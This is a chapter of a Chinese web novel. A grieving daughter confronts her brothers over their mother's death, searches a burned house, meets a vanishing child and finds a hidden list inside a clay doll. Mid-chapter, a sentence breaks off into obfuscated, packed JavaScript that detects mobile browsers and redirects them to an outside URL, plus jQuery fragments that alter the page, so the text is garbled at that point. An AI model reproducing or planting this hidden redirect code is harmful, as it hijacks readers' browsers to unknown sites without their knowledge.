沈思漓打定主意再探魏宅，与苏如是告别后，攀住马鞍正准备翻身上马之际，几道熟悉的声音呼喊着母亲，闯入她的耳畔。


    她瞳孔微微一震，僵硬地偏过头，只见不远处空地上，沈逸行和沈逸齐狼狈地伏在一具气息全无的尸身上痛哭流涕。


    沈逸行抬起头，在看见她的那一刹那，眼眸中燃起滔天恨意，面色阴鸷渗着寒意。


    他撑起身躯从地上站起来，正要往她所在的方向挥拳扑来时，被姗姗来迟的沈逸晋一把拦下拳风，侧身挡在他的身前。


    “大哥你放开我！”沈逸行眼里凶光毕露，奋力低吼着，“要不是她！我娘又怎会死于非命！”


    “够了！先带叔母回去！”沈逸晋圈箍住沈逸行，转头对沈思漓喝道，“漓儿还不快走！”


    沈思漓眼前骤然蒙上一层水雾，松开手上缰绳，疾步如飞疯一般地对准沈逸行扭曲的面庞甩去一记清脆响亮的巴掌。


    沈逸行捂住火辣辣的脸颊，脑袋空白了一瞬，眼中闪过一丝难以置信的目光。


    不待他反击回去，就听得沈思漓尖锐地质问：“你为什么不去顶罪！？都是你自私自利，只考虑自己的前程仕途！你若承担起嫡长子的责任，母亲便不用替沈渊顶罪，而丢了性命！”


    沈逸晋回首看向沈思漓，眸光剧烈晃动，眼中透着无比惊异的复杂神色。


    起初他从沈逸行口中得知沈思漓不为人知的另一面，还不愿意相信。现下他亲眼所见，沈思漓与半年前天真可爱的模样简直判若两人。


    沈逸行听得沈思漓的质问，怒气在心头久久不散，下意识的脱口道：“那死的不就是我了？”


    “住嘴！失心疯了你！”此话一出，沈逸晋难掩失望之色，臂弯使劲将沈逸行往后推出三四步。


    “二哥哥……你早就知道母亲回替父亲顶罪而不阻拦！你这是弃母亲而不顾啊！”沈逸齐涕泗横流，对着沈逸行的背影一脚踹了过去，欺身压在沈逸行身上朝他脸上一记记砸下拳头。


    “都给我住手！”沈逸晋眼看着现场闹剧，不由得紧蹙眉头，厉声招呼小厮拉开兄弟二人。


    沈逸行嘴角渗出血水，仰躺在湿污泥沙地上，水滴砸在他的眼眶与滚烫热泪融作一团，眼泪顺着眼角大颗大颗地滑落至耳框。


    他艰难地发出带着懊悔的低吼声：“我也没有娘了啊……”


    一时间，沈氏子弟低垂着头沉默不语。


    说到底，罪魁祸首乃是叶公权，沈渊利欲熏心与虎谋皮，落得个妻亡罢官的下场。


    这场无妄之灾，怎么都怪不到两个丧母的孩子头上。


    沈思漓拖着脚步，步履蹒跚地来到卢夫人身旁缓缓跪下。


    卢夫人执意顶罪，她想着叫卢夫人认清沈渊真面目，长长教训。待她清算完沈渊再救卢氏出牢狱。


    她只是想毁去沈渊所在乎的一切！从没想过要卢夫人的性命……


    两行清泪从眼角无声滑落，她的声音抑制不住的颤抖，低声呢喃道：“母亲你放心，黄泉路上我定不叫您孤单一人。”


    沈逸晋微微张唇，想劝沈思漓勿要沉浸在仇恨当中，奈何他未经他人苦，没有立场阻止她复仇。只能眼睁睁看着沈思漓离去的背影。


    ……


    云海苍茫遮勾月，皎皎月华浅光濯。


    临近城南塔巷，沈思漓担心引人注目，干脆弃马不用，隐匿身形穿梭在巷内。


    因着魏宅失火的缘故，街头巷尾留有邻里轮流值守，生怕有零星火点死灰复燃。


    魏宅双门大敞，屋舍焚烧殆尽，残留下半角牌匾悬挂至门梁上摇摇欲坠。


    沈思漓保持着警惕，环顾四周确定无人监视后谨慎迈入院内。


    里边废墟一片狼藉，空气中还弥漫着一股难闻的混杂着烧焦味的油齁味。


    化为黑炭的木料和破碎的乌瓦零零散散地散落在庭院的各个角落，连个落脚之处都没有。


    月华黯淡，沈思漓视线不佳，只好眯着眼尽量看得更清楚些。她避开路障，往记忆中厨房的位置摸索而去。


    她猜测魏检一大男人应该不会进厨房，指不定名录就藏匿在厨房外围。


    就在她蹲着用木棍刨开第五株在烈火中幸存的灌木时，身后传来“吱呀”一声，在寂静的夜晚里显得格外明显。


    沈思漓浑身紧绷起来，敛下眼眸，撇开木棍，不动声色地摸到袖内匕首，缓缓侧身向身后瞧去。


    不知何时，一个穿着单薄的垂髻孩童无声无息地站在她背后。


    她顿时瞳孔紧缩，头皮阵阵发麻，惊起一身冷汗，仓皇站起身来，下意识不自然地问道：“小童可是与家人走散？”


    孩童黑眸如墨，皮肤苍白如纸，透着一股不自然地冷光，口中含着指头，嘴角流着口水，歪着脑袋凝视着她，并不回答。


    沈思漓细细打量着稚童，这孩子不仅穿的单薄，双脚赤足站在积雪中已然冻得青紫。


    许是夜里走水混乱之际，哪家没看顾好孩子，误打误撞闯进魏宅来。可惜她出门匆忙，并没有多余外衣赠予这孩子。


    她深呼一口气，打算先把小孩带去官衙，从怀中掏出一颗糖，弯下腰半蹲递给小孩童，语气温柔问：“吃糖吗？”


    小孩的目光落在糖粒上，依旧沉默不语，嘴角却流出更多的哈喇子。


    沈思漓忍俊不禁，嘴角绽出一抹笑，撕开糖纸塞到小孩嘴里，用手帕耐心帮他擦拭着口水。


    小孩含着糖果，原本黯淡无光的黑眸瞬间睁大明亮起来。他品了好一会，忽地扯着沈思漓的袖子，转身指向大门。


    她的目光顺着稚童指着的方向，不禁大吃一惊。


    原本门户大开，此时却是紧闭着的。正门处散落的杂物中，不知何时立了个色彩鲜丽的童女像磨合乐。泥偶笑容张扬，却在黑夜中有种说不清的诡异。


    “给我的吗？”沈思漓撑着膝头，保持着半蹲的姿势，偏头问小孩。


    小孩小鸡啄米般的点了点头，仍抓着她的袖口，想将她往大门外扯。


    稚童瞧着不过三四岁，手劲倒是莫名的大，就是腿短短的。沈思漓弯着腰被拖着长袖，跟着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102227|154526||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他的步子，倒像是在走小碎步。


    她蹲下身，用指尖点了点磨合乐，单手撑着脸颊，歪头对稚童眨了眨眼：“无功不受禄，姐姐不白拿你的泥偶，姐姐拿糖跟你换好不好呀？”


    小孩咧开笑容，腮帮上露出两个浅浅的小酒窝，重重点了点头。


    沈思漓摸了摸他的小脑壳，从怀中掏出袋小锦囊，放在小孩手掌上，温声嘱托道：“吃多了可容易牙疼，也分给你家大人尝尝。”


    小孩闻言扁了扁嘴，抱着小锦囊不撒手。


    沈思漓哭笑不得，从地上拿起做工精细的磨合乐，小指指腹感到异样的触感，像是一道细长裂缝。


    她翻面磨合乐，随着她的动作，人偶空心的内部传出短短的簌簌声。


    沈思漓不以为意，猜是缝隙中进了些沙土发出来的声响。


    就在此时，“啪嗒”两声，对门檐边融化的冰柱接连坠落在青石地上。大门传来一阵碎杂的脚步声。


    沈思漓暗道不妙，莫不是叶相手下追来灭口。她敏捷起身将孩子护在身后，架起防守之势严阵以待。


    脚步渐行渐近，门扉突然被一阵大力推开，莫莉手提灯笼，神情严肃，嘴边呼出白雾，对沈思漓急急道：“不好了！出事了！三娘遣人来报，城中组织救火之时，十城兵马司张奎放行一队来路不明的人马从宣化门入城。”


    沈思漓一怔，瞬间明白了过来。


    叶公权行事频繁，且越发肆无忌惮。还有一个可能性便是，说明他诸事皆备，静待良机。


    而今夜舒王负伤，巡防营将领王见舟命悬一线，禁军大统领高靖远身亡。巡防营和禁军调派人手共济救火，所有人的关注点全在天牢大火上。


    眼下皇帝心腹尽除，皇城防御力减弱，无人注意浑水摸鱼入城的叛军，他们只肖分散潜伏在伤民之中，静待起事号令。


    等不及找到实证，她必须马上通知东阳长公主！


    思及此处，沈思漓咬紧下唇，对莫莉道：“我们兵分两路，你送完这孩子去官衙后回府做些准备。”


    莫莉附耳听完沈思漓的交代，目露疑光，迟疑道：“什么孩子？”


    “就他……许是乱起来同家人走……”


    沈思漓转身看向身后，哪儿还有稚童的身影。


    莫莉大感困惑：“我进门时，就只有姑娘您一人。”


    “……”沈思漓惊诧不已，太阳穴砰砰乱蹦，想起指腹不经意间触碰到小孩脸颊时异于常人的冰冷，心顿时提到嗓子眼儿。


    掌心握着的磨合乐不断提醒着她适才发生的一切并非虚伪，冰凉的触感亦是真切。


    莫莉觉察到她的异样，提起灯笼对着童女磨合乐圆底，逐字念道：“陆、墨。”


    沈思漓顺着她的视线看去，底部赫然写着陆墨二字。


    陆墨的遗物怎么会出现在此？


    她忽然想起陆砚所写清单，的确有个磨合乐在宅中四处寻不到，还以为这种老物件破碎丢失了。


    灯笼对准细缝，沈思漓瞧得真切，磨合乐空心内部——藏有名录！